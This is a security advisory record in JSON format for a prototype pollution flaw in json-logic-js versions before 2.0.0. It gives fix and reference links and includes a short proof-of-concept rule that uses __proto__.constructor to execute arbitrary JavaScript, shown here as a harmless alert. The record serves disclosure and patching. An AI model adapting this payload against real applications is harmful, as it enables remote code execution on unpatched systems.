{"id":"GHSA-m9hw-7xfv-wqg7","aliases":[],"url":"https://o3.security/vulnerability/GHSA-m9hw-7xfv-wqg7","summary":"Prototype Pollution in json-logic-js","details":"Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.\n\nThe following rule creates a popup when run from a browser:\n```\n{\n  \"method\": [\n    {\n      \"method\": [\n        {\n          \"var\": \"__proto__.constructor.is.__proto__\"\n        },\n        \"constructor\",\n        [\n          \"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)\"\n        ]\n      ]\n    },\n    \"call\"\n  ]\n}\n```","published":"2020-11-12T19:36:14Z","modified":"2020-11-12T19:35:53Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"json-logic-js","fixedVersion":"2.0.0"}],"fix":{"url":"https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b","label":"jwadhams/json-logic-js@fadfa5d"},"references":[{"type":"WEB","url":"https://github.com/jwadhams/json-logic-js/commit/fadfa5dc7ccd1cc5c9a1900a97a15af390bf642b"},{"type":"WEB","url":"https://www.npmjs.com/advisories/1542"},{"type":"WEB","url":"https://www.npmjs.com/package/json-logic-js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2020-11-12T19:35:53Z"}}